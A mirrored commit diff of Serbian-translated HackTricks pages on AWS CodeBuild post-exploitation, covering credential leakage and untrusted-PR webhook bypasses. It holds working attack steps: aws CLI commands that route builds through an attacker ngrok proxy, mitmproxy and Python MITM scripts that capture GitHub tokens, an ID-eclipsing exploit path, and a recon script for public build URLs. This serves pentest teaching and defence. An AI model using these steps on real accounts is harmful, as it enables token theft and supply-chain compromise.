mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws
This commit is contained in:
+27
-19
@@ -4,43 +4,43 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
Za više informacija, proverite:
|
||||
Za više informacija, pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Proverite Tajne
|
||||
### Proverite tajne
|
||||
|
||||
Ako su kredencijali postavljeni u Codebuild za povezivanje sa Github, Gitlab ili Bitbucket u obliku ličnih tokena, lozinki ili OAuth token pristupa, ove **kredencijale će biti sačuvane kao tajne u menadžeru tajni**.\
|
||||
Stoga, ako imate pristup za čitanje menadžera tajni, moći ćete da dobijete ove tajne i pređete na povezanu platformu.
|
||||
Ako su akreditive postavljene u Codebuild-u za povezivanje sa Github, Gitlab ili Bitbucket u vidu personal tokens, lozinki ili OAuth token access, ove **akreditive će biti sačuvane kao tajne u secret manager-u**.\
|
||||
Dakle, ako imate pristup za čitanje secret manager-a, moći ćete da dobijete te tajne i pivotirate na povezanu platformu.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Zloupotreba Pristupa CodeBuild Repo-u
|
||||
### Abuse CodeBuild Repo Access
|
||||
|
||||
Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup kod repozitorijumu** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
|
||||
Da bi se konfigurisao **CodeBuild**, biće mu potreban **pristup code repo-u** koji će koristiti. Nekoliko platformi može hostovati ovaj kod:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**CodeBuild projekat mora imati pristup** konfigurisanoj izvornoj platformi, bilo putem **IAM uloge** ili sa github/bitbucket **tokenom ili OAuth pristupom**.
|
||||
**CodeBuild projekat mora imati pristup** konfigurisanom source provider-u, bilo preko **IAM role** ili sa github/bitbucket **token-om ili OAuth pristupom**.
|
||||
|
||||
Napadač sa **povišenim dozvolama u CodeBuild-u** mogao bi zloupotrebiti ovaj konfigurisani pristup da otkrije kod konfigurisane repozitorije i druge gde postavljeni kredencijali imaju pristup.\
|
||||
Da bi to uradio, napadač bi samo trebao da **promeni URL repozitorijuma na svaki repozitorijum kojem konfigurisani kredencijali imaju pristup** (napomena: aws web će ih sve navesti za vas):
|
||||
Napadač sa **povišenim privilegijama nad CodeBuild-om** može zloupotrebiti ovaj konfigurisan pristup da leak-uje kod konfigurisanog repoa i drugih repo-a kojima podešene kredencijale imaju pristup.\
|
||||
Da bi to uradio, napadač bi samo trebalo da **promeni repository URL na svaki repo kojem konfiguracione kredencijale imaju pristup** (napomena: aws web će vam ih sve navesti):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
I **promeni Buildspec komande da eksfiltrira svaki repozitorijum**.
|
||||
I **promeni Buildspec komande da exfiltrate svaki repo**.
|
||||
|
||||
> [!WARNING]
|
||||
> Međutim, ovaj **zadatak je ponavljajući i zamoran** i ako je github token konfiguran sa **dozvolama za pisanje**, napadač **neće moći da (zloupotrebi) te dozvole** jer nema pristup tokenu.\
|
||||
> Ili možda ima? Proverite sledeću sekciju
|
||||
> Međutim, ovaj **zadatak je repetitivan i zamoran** i ako je github token konfigurisan sa **write permissions**, napadač **neće moći da (ab)use te permisije** jer nema pristup tokenu.\
|
||||
> Или да ли може? Proverite sledeći odeljak
|
||||
|
||||
### Otkriće Pristupnih Tokena iz AWS CodeBuild
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
Možete otkriti pristup dat u CodeBuild platformama kao što je Github. Proverite da li je bilo datog pristupa spoljnim platformama sa:
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
@@ -48,9 +48,17 @@ aws codebuild list-source-credentials
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### Izvršavanje nepouzdanih PR-ova usled pogrešne konfiguracije webhook filtera
|
||||
|
||||
Ako su webhook filters slabi, eksterni napadači mogu da nateraju svoje PRs da budu izgrađeni u privilegovanim CodeBuild projektima i zatim izvrše proizvoljan kod u CI.
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
Napadač bi mogao da obriše ceo CodeBuild projekat, uzrokujući gubitak konfiguracije projekta i utičući na aplikacije koje se oslanjaju na projekat.
|
||||
Napadač bi mogao izbrisati čitav CodeBuild projekat, što bi dovelo do gubitka konfiguracije projekta i uticalo na aplikacije koje se oslanjaju na taj projekat.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
@@ -58,19 +66,19 @@ aws codebuild delete-project --name <value>
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
Napadač bi mogao dodati, izmeniti ili ukloniti oznake sa CodeBuild resursa, ometajući alokaciju troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na oznakama.
|
||||
Napadač može dodavati, menjati ili uklanjati tags sa CodeBuild resursa, što može narušiti raspodelu troškova vaše organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tags.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na oznakama.
|
||||
**Potencijalni uticaj**: Poremećaj u raspodeli troškova, praćenju resursa i politikama kontrole pristupa zasnovanim na tagovima.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
Napadač bi mogao da obriše izvorne akreditive za Git repozitorijum, što bi uticalo na normalno funkcionisanje aplikacija koje se oslanjaju na repozitorijum.
|
||||
Napadač može izbrisati kredencijale izvora za Git repository, što bi omelo normalno funkcionisanje aplikacija koje zavise od tog repository-ja.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
**Potencijalni uticaj**: Poremećaj normalnog funkcionisanja aplikacija koje se oslanjaju na pogođeni repozitorijum zbog uklanjanja izvora kredencijala.
|
||||
**Mogući uticaj**: Prekid normalnog rada aplikacija koje zavise od pogođenog repozitorijuma zbog uklanjanja kredencijala za pristup izvornom kodu.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+39
-48
@@ -2,47 +2,47 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vraćanje Github/Bitbucket konfigurisani tokens
|
||||
## Oporavi konfigurisane Github/Bitbucket Tokens
|
||||
|
||||
Prvo proverite da li postoje konfigurisani source credentials koje možete leak:
|
||||
Prvo proveri da li postoje konfigurisani source credentials koje možeš leak:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
### Putem Docker Image
|
||||
|
||||
Ako primetite da je autentikacija, na primer za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
|
||||
Ako ustanovite da je autentifikacija, npr. za Github, podešena na nalogu, možete **exfiltrate** taj **access** (**GH token or OAuth token**) tako što ćete naterati Codebuild da **use an specific docker image** za pokretanje build-a projekta.
|
||||
|
||||
Za ovu namenu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
|
||||
U tu svrhu možete **create a new Codebuild project** ili promeniti **environment** postojećeg da podesite **Docker image**.
|
||||
|
||||
Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je veoma osnovni Docker image koji će podesiti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. To će vam omogućiti da presretnete većinu saobraćaja hosta označenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT označenom u **`SSL_CERT_FILE`**.
|
||||
Docker image koji možete koristiti je [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Ovo je vrlo osnovni Docker image koji će postaviti **env variables `https_proxy`**, **`http_proxy`** i **`SSL_CERT_FILE`**. Ovo će vam omogućiti da presretnete većinu saobraćaja hosta navedenog u **`https_proxy`** i **`http_proxy`** i da verujete SSL CERT navedenom u **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Pratite instrukcije iz repo-a da postavite vašu proxy IP adresu i SSL cert i **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
|
||||
- Možete koristiti **`ngrok`** kao npr. `ngrok tcp 4444` da setujete proxy na vaš host
|
||||
- Kada imate izgrađen Docker image, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Kreirajte **new Codebuild project** ili **modify** environment postojećeg.
|
||||
- Podesite projekat da koristi **previously generated Docker image**
|
||||
1. **Kreirajte i otpremite svoj Docker MitM image**
|
||||
- Sledite instrukcije iz repo-a da podesite IP adresu proxy-ja i vaš SSL sertifikat i **izgradite Docker image**.
|
||||
- **NE PODEŠAVAJTE `http_proxy`** kako ne biste presretali zahteve ka metadata endpoint-u.
|
||||
- Možete koristiti **`ngrok`** npr. `ngrok tcp 4444` da podesite proxy na vaš host
|
||||
- Kada izgradite Docker image, **otpremite ga u javni repo** (Dockerhub, ECR...)
|
||||
2. **Podesite environment**
|
||||
- Kreirajte **novi Codebuild project** ili **izmenite** environment postojećeg.
|
||||
- Podesite projekat da koristi **prethodno generisani Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **Podesite MitM proxy na vašem hostu**
|
||||
|
||||
- Kao što je navedeno u **Github repo** možete koristiti nešto kao:
|
||||
- Kao što je naznačeno u **Github repo** možete koristiti nešto poput:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> **mitmproxy verzija koja je korišćena bila je 9.0.1**, izveštavano je da sa verzijom 10 ovo možda neće raditi.
|
||||
> Korišćena je **mitmproxy verzija 9.0.1**, prijavljeno je da sa verzijom 10 ovo možda neće raditi.
|
||||
|
||||
4. **Pokrenite build & uhvatite kredencijale**
|
||||
4. **Pokrenite build i uhvatite kredencijale**
|
||||
|
||||
- Možete videti token u **Authorization** headeru:
|
||||
- Možete videti token u **Authorization** zaglavlju:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ovo se takođe može uraditi iz aws cli koristeći nešto poput
|
||||
Ovo se takođe može uraditi iz aws cli pomoću nečeg poput
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -71,17 +71,17 @@ aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
# Start the build
|
||||
aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Via insecureSSL
|
||||
### Putem insecureSSL
|
||||
|
||||
**Codebuild** projekti imaju podešavanje nazvano **`insecureSsl`** koje je skriveno na webu i možete ga promeniti samo preko API-ja.\
|
||||
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata** koji platforma nudi.
|
||||
**Codebuild** projekti imaju podešavanje zvano **`insecureSsl`** koje je skriveno u web interfejsu i može se menjati samo preko API-ja.\
|
||||
Omogućavanje ovog podešavanja dozvoljava Codebuild-u da se poveže sa repozitorijumom **bez provere sertifikata platforme**.
|
||||
|
||||
- Prvo treba da izlistate trenutnu konfiguraciju nečim poput:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Zatim, sa prikupljenim informacijama možeš ažurirati podešavanje projekta **`insecureSsl`** na **`True`**. U nastavku je primer mog ažuriranja projekta — obrati pažnju na **`insecureSsl=True`** na kraju (to je jedina stvar koju treba promeniti u odnosu na prikupljenu konfiguraciju).
|
||||
- Pored toga, dodaj i env promenljive **http_proxy** i **https_proxy** koje pokazuju na tvoj tcp ngrok, na primer:
|
||||
- Takođe, dodaj i promenljive okruženja **http_proxy** i **https_proxy** koje upućuju na tvoj tcp ngrok, na primer:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
|
||||
- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Na kraju, kliknite na **Build the project**, **kredencijali** će biti **poslati u običnom tekstu** (base64) na mitm port:
|
||||
- Na kraju, kliknite na **Build the project**, **credentials** će biti poslati nešifrovano (base64) na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Putem HTTP protokola~~
|
||||
### ~~Preko HTTP protokola~~
|
||||
|
||||
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde u sedmici 20. februara 2023. (mislim da u petak). Tako da napadač više ne može da je iskoristi :)**
|
||||
> [!TIP] > **Ova ranjivost je ispravljena od strane AWS-a negde tokom nedelje koja počinje 20. februara 2023. (Mislim da je to bio petak). Dakle, napadač je više ne može zloupotrebiti :)**
|
||||
|
||||
Napadač sa **povišenim privilegijama nad CodeBuild-om mogao bi da izazove leak konfigurisanog Github/Bitbucket tokena** ili, ako su privilegije konfigurisane preko OAuth-a, **privremeni OAuth token korišćen za pristup kodu**.
|
||||
Napadač sa **povišenim privilegijama u CodeBuild mogao bi da leak-uje konfigurisan Github/Bitbucket token** ili, ako su permisije konfigurisanе preko OAuth-a, **privremeni OAuth token koji se koristi za pristup kodu**.
|
||||
|
||||
- Napadač bi mogao da doda promenljive okruženja **http_proxy** i **https_proxy** u CodeBuild projekat koje upućuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Napadač može da doda environment promenljive **http_proxy** i **https_proxy** u CodeBuild projekat koje pokazuju na njegovu mašinu (na primer `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Zatim, promenite URL github repozitorijuma da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Zatim pokrenite osnovni primer iz [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji ukazuju proxy promenljive (http_proxy i https_proxy)
|
||||
- Zatim promenite URL github repoa da koristi HTTP umesto HTTPS, na primer: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Zatim pokrenite osnovni primer sa [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na portu na koji pokazuju proxy promenljive (http_proxy i https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,32 +158,23 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Zatim kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
||||
- Zatim, kliknite na **Build the project** ili pokrenite build iz komandne linije:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port:
|
||||
- Na kraju, **credentials** će biti **poslati u čistom tekstu** (base64) na mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Sada attacker može da koristi token sa svoje mašine, da izlista sve privilegije koje token ima i da ih (ab)use lakše nego direktnim korišćenjem CodeBuild servisa.
|
||||
> Sada napadač može da koristi token sa svoje mašine, izlista sve privilegije koje poseduje i (ab)use lakše nego da direktno koristi CodeBuild servis.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
## Izvršavanje nepouzdanih PR-ova putem pogrešne konfiguracije webhook filtera
|
||||
|
||||
Neispravno konfigurisani CodeBuild GitHub webhooks koji koriste neanchored `ACTOR_ID` regex-e dozvoljavaju *untrusted* PR-ovima da pokrenu privilegovane builds. Ako je allowlist poput `123456|7890123` bez `^`/`$`, bilo koji ID koji sadrži jedan od tih substring-ova će odgovarati. Pošto su GitHub user ID-ovi sekvencijalni, attacker može da se utrkuje da registruje “eclipsing” ID (superstring od poverljivog ID-a) i tako pokrene build.
|
||||
Za lanac zaobilaženja webhook-a pokrenut PR-om (`ACTOR_ACCOUNT_ID` regex + untrusted PR execution), proveri:
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Find public CodeBuild projects exposing webhook filters and extract an unanchored `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
|
||||
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
{{#ref}}
|
||||
aws-codebuild-untrusted-pr-webhook-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
# AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Ovaj vektor napada se javljа kada je javni PR workflow povezan sa privilegovanim CodeBuild projektom koji ima slabe kontrole webhook-a.
|
||||
|
||||
Ako eksterni napadač uspe da natera CodeBuild da izvrši njihov PR, obično može dobiti arbitrary code execution unutar build-a (build scripts, dependency hooks, test scripts, itd.), a zatim pivot-ovati ka tajnama, IAM credential-ima, ili source-provider credentials.
|
||||
|
||||
## Zašto je ovo opasno
|
||||
|
||||
CodeBuild webhook filteri se evaluiraju pomoću regex pattern-a (za filtre koji nisu `EVENT`). U `ACTOR_ACCOUNT_ID` filteru to znači da slab pattern može poklopiti više korisnika nego što je namera.
|
||||
Ako se nepoverljivi PR-ovi build-uju u projektu koji ima privilegovane AWS role ili GitHub credential-e, to može postati potpuna supply-chain kompromitacija.
|
||||
|
||||
Wiz je pokazao praktičan lanac gde:
|
||||
|
||||
1. Webhook actor allowlist je koristio ne-anchored regex.
|
||||
2. Napadač je registrovao GitHub ID koji se poklapao kao superstring trusted ID-a.
|
||||
3. Zlonamerni PR je pokrenuo CodeBuild.
|
||||
4. Izvršenje koda u buildu je iskorišćeno za dump-ovanje memorije i vraćanje source-provider credential-a/tokena.
|
||||
|
||||
## Misconfigurations koje omogućavaju izvršavanje eksternog PR koda
|
||||
|
||||
Ispod su high-risk greške i kako ih napadači zloupotrebljavaju:
|
||||
|
||||
1. **`EVENT` filters allow untrusted triggers**
|
||||
- Uobičajeni rizični eventi: `PULL_REQUEST_CREATED`, `PULL_REQUEST_UPDATED`, `PULL_REQUEST_REOPENED`.
|
||||
- Drugi eventi koji takođe mogu postati opasni ako su vezani za privilegovane build-ove: `PUSH`, `PULL_REQUEST_CLOSED`, `PULL_REQUEST_MERGED`, `RELEASED`, `PRERELEASED`, `WORKFLOW_JOB_QUEUED`.
|
||||
- Loše: `EVENT="PUSH, PULL_REQUEST_CREATED, PULL_REQUEST_UPDATED"` u privilegovanom projektu.
|
||||
- Bolje: koristite PR comment approval i minimizirajte trigger evente za privilegovane projekte.
|
||||
- Zloupotreba: napadač otvori/azurira PR ili push-uje na branch koji kontroliše, i njihov kod se izvršava u CodeBuild-u.
|
||||
|
||||
2. **`ACTOR_ACCOUNT_ID` regex is weak**
|
||||
- Loše: unanchored pattern-i kao `123456|7890123`.
|
||||
- Bolje: exact-match anchoring `^(123456|7890123)$`.
|
||||
- Zloupotreba: regex over-match dozvoljava neautorizovanim GitHub ID-evima da prođu kroz allowlist.
|
||||
|
||||
3. **Other regex filters are weak or missing**
|
||||
- `HEAD_REF`
|
||||
- Loše: `refs/heads/.*`
|
||||
- Bolje: `^refs/heads/main$` (ili eksplicitna lista trusted grana)
|
||||
- `BASE_REF`
|
||||
- Loše: `.*`
|
||||
- Bolje: `^refs/heads/main$`
|
||||
- `FILE_PATH`
|
||||
- Loše: nema ograničenja na putanje
|
||||
- Bolje: isključiti rizične fajlove kao `^buildspec\\.yml$`, `^\\.github/workflows/.*`, `(^|/)package(-lock)?\\.json$`
|
||||
- `COMMIT_MESSAGE`
|
||||
- Loše: trust marker sa labavim match-om kao `trusted`
|
||||
- Bolje: ne koristiti commit poruku kao trust boundary za izvršenje PR-a
|
||||
- `REPOSITORY_NAME` / `ORGANIZATION_NAME`
|
||||
- Loše: `.*` u org/global webhooks
|
||||
- Bolje: samo tačna repo/org poklapanja
|
||||
- `WORKFLOW_NAME`
|
||||
- Loše: `.*`
|
||||
- Bolje: tačno ime workflow-a (ili izbegavati ovo kao trust kontrolu)
|
||||
- Zloupotreba: napadač pažljivo gradi ref/path/message/repo kontekst da zadovolji permisivni regex i okine build.
|
||||
|
||||
4. **`excludeMatchedPattern` is misused**
|
||||
- Podešavanje ovog flag-a pogrešno može invertovati nameravanu logiku.
|
||||
- Loše: `FILE_PATH '^buildspec\\.yml$'` sa `excludeMatchedPattern=false` kada je namera bila da se blokiraju izmene buildspec-a.
|
||||
- Bolje: isti pattern sa `excludeMatchedPattern=true` da se zabrani build koji dira `buildspec.yml`.
|
||||
- Zloupotreba: branitelji misle da zabranjuju rizične evente/putanje/aktore, ali zapravo ih dopuštaju.
|
||||
|
||||
5. **Multiple `filterGroups` create accidental bypasses**
|
||||
- CodeBuild evaluira grupe kao OR (jedna prolazna grupa je dovoljna).
|
||||
- Loše: jedna stroga grupa + jedna permisivna fallback grupa (npr. samo `EVENT=PULL_REQUEST_UPDATED`).
|
||||
- Bolje: ukloniti fallback grupe koje ne nameću actor/ref/path ograničenja.
|
||||
- Zloupotreba: napadač treba da zadovolji samo najslabiju grupu.
|
||||
|
||||
6. **Comment approval gate disabled or too permissive**
|
||||
- `pullRequestBuildPolicy.requiresCommentApproval=DISABLED` je najmanje sigurno.
|
||||
- Previše široke role odobravaoca smanjuju kontrolu.
|
||||
- Loše: `requiresCommentApproval=DISABLED`.
|
||||
- Bolje: `ALL_PULL_REQUESTS` ili `FORK_PULL_REQUESTS` sa minimalnim rolama odobravaoca.
|
||||
- Zloupotreba: fork/drive-by PR-ovi se automatski izvršavaju bez odobrenja trusted maintenara.
|
||||
|
||||
7. **No restrictive branch/path strategy for PR builds**
|
||||
- Nedostatak defense-in-depth sa `HEAD_REF` + `BASE_REF` + `FILE_PATH`.
|
||||
- Loše: samo `EVENT` + `ACTOR_ACCOUNT_ID`, bez ref/path kontrola.
|
||||
- Bolje: kombinovati tačan `ACTOR_ACCOUNT_ID` + `BASE_REF` + `HEAD_REF` + `FILE_PATH` restrikcije.
|
||||
- Zloupotreba: napadač menja build inpute (buildspec/CI/dependencies) i dobija arbitrary command execution.
|
||||
|
||||
8. **Public visibility + status URL exposure**
|
||||
- Javne build/check URL-ove poboljšavaju attacker recon i iterativno testiranje.
|
||||
- Loše: `projectVisibility=PUBLIC_READ` sa osetljivim logovima/configom u javnim build-ovima.
|
||||
- Bolje: čuvati projekte privatnim osim ako postoji jak business razlog, i sanitizovati logove/artifakte.
|
||||
- Zloupotreba: napadač otkriva pattern-e/projekta ponašanje, pa podešava payload-e i pokušaje bypass-a.
|
||||
|
||||
## Token leakage from memory
|
||||
|
||||
Wiz-ov write-up objašnjava da su source-provider credential-i prisutni u runtime kontekstu build-a i mogu biti ukradeni nakon kompromitovanja build-a (na primer, kroz memory dumping), omogućavajući takeover repozitorijuma ako su scope-ovi široki.
|
||||
|
||||
AWS je uveo hardening nakon otkrića, ali osnovna lekcija ostaje: nikada ne izvršavajte untrusted PR kod u privilegovanim build kontekstima i pretpostavite da će napadač-kontrolisani build pokušati theft of credential-a.
|
||||
|
||||
Za dodatne tehnike krađe credential-a u CodeBuild, pogledajte takođe:
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding CodeBuild URLs in GitHub PRs
|
||||
|
||||
Ako CodeBuild prijavljuje commit status nazad na GitHub, CodeBuild build URL se obično pojavljuje u:
|
||||
|
||||
1. **PR page** -> **Checks** tab (ili status linija u Conversation/Commits).
|
||||
2. **Commit page** -> status/checks sekcija -> **Details** link.
|
||||
3. **PR commits list** -> kliknite na check context priključen za commit.
|
||||
|
||||
Za javne projekte, ovaj link može otkriti build metadata/configuration neautentifikovanim korisnicima.
|
||||
|
||||
<details>
|
||||
<summary>Script: detect CodeBuild URLs in a PR and test if they look public</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Usage:
|
||||
# ./check_pr_codebuild_urls.sh <owner> <repo> <pr_number>
|
||||
#
|
||||
# Requirements: gh, jq, curl
|
||||
|
||||
OWNER="${1:?owner}"
|
||||
REPO="${2:?repo}"
|
||||
PR="${3:?pr_number}"
|
||||
|
||||
for bin in gh jq curl timeout; do
|
||||
command -v "$bin" >/dev/null || { echo "[!] Missing dependency: $bin" >&2; exit 1; }
|
||||
done
|
||||
|
||||
tmp_commits="$(mktemp)"
|
||||
tmp_urls="$(mktemp)"
|
||||
trap 'rm -f "$tmp_commits" "$tmp_urls"' EXIT
|
||||
|
||||
gh_api() {
|
||||
timeout 20s gh api "$@" 2>/dev/null || true
|
||||
}
|
||||
|
||||
# Get all commit SHAs in the PR (bounded call to avoid hangs)
|
||||
gh_api "repos/${OWNER}/${REPO}/pulls/${PR}/commits" --paginate --jq '.[].sha' > "$tmp_commits"
|
||||
if [ ! -s "$tmp_commits" ]; then
|
||||
echo "[!] No commits found (or API call timed out/failed)." >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "[*] PR commits:"
|
||||
cat "$tmp_commits"
|
||||
echo
|
||||
|
||||
echo "[*] Searching commit statuses/check-runs for CodeBuild URLs..."
|
||||
|
||||
while IFS= read -r sha; do
|
||||
[ -z "$sha" ] && continue
|
||||
|
||||
# Classic commit statuses (target_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/status" \
|
||||
--jq '.statuses[]? | .target_url // empty' 2>/dev/null || true
|
||||
|
||||
# GitHub Checks API (details_url)
|
||||
gh_api "repos/${OWNER}/${REPO}/commits/${sha}/check-runs" \
|
||||
--jq '.check_runs[]? | .details_url // empty' 2>/dev/null || true
|
||||
done < "$tmp_commits" | sort -u > "$tmp_urls"
|
||||
|
||||
grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true
|
||||
|
||||
echo
|
||||
echo "[*] Public-access heuristic:"
|
||||
echo " - If URL redirects to signin.aws.amazon.com -> likely not public"
|
||||
echo " - If URL is directly reachable (HTTP 200) without auth redirect -> potentially public"
|
||||
echo
|
||||
|
||||
cb_urls="$(grep -Ei 'codebuild|codebuild\.aws\.amazon\.com|console\.aws\.amazon\.com/.*/codebuild' "$tmp_urls" || true)"
|
||||
if [ -z "$cb_urls" ]; then
|
||||
echo "[*] No CodeBuild URLs found in PR statuses/check-runs."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
while IFS= read -r url; do
|
||||
[ -z "$url" ] && continue
|
||||
final_url="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{url_effective}' "$url" || true)"
|
||||
code="$(timeout 20s curl -4 -sS -L --connect-timeout 5 --max-time 20 -o /dev/null -w '%{http_code}' "$url" || true)"
|
||||
|
||||
if echo "$final_url" | grep -qi 'signin\.aws\.amazon\.com'; then
|
||||
verdict="NOT_PUBLIC_OR_AUTH_REQUIRED"
|
||||
elif [ "$code" = "200" ]; then
|
||||
verdict="POTENTIALLY_PUBLIC"
|
||||
else
|
||||
verdict="UNKNOWN_CHECK_MANUALLY"
|
||||
fi
|
||||
|
||||
printf '%s\t%s\t%s\n' "$verdict" "$code" "$url"
|
||||
done <<< "$cb_urls"
|
||||
```
|
||||
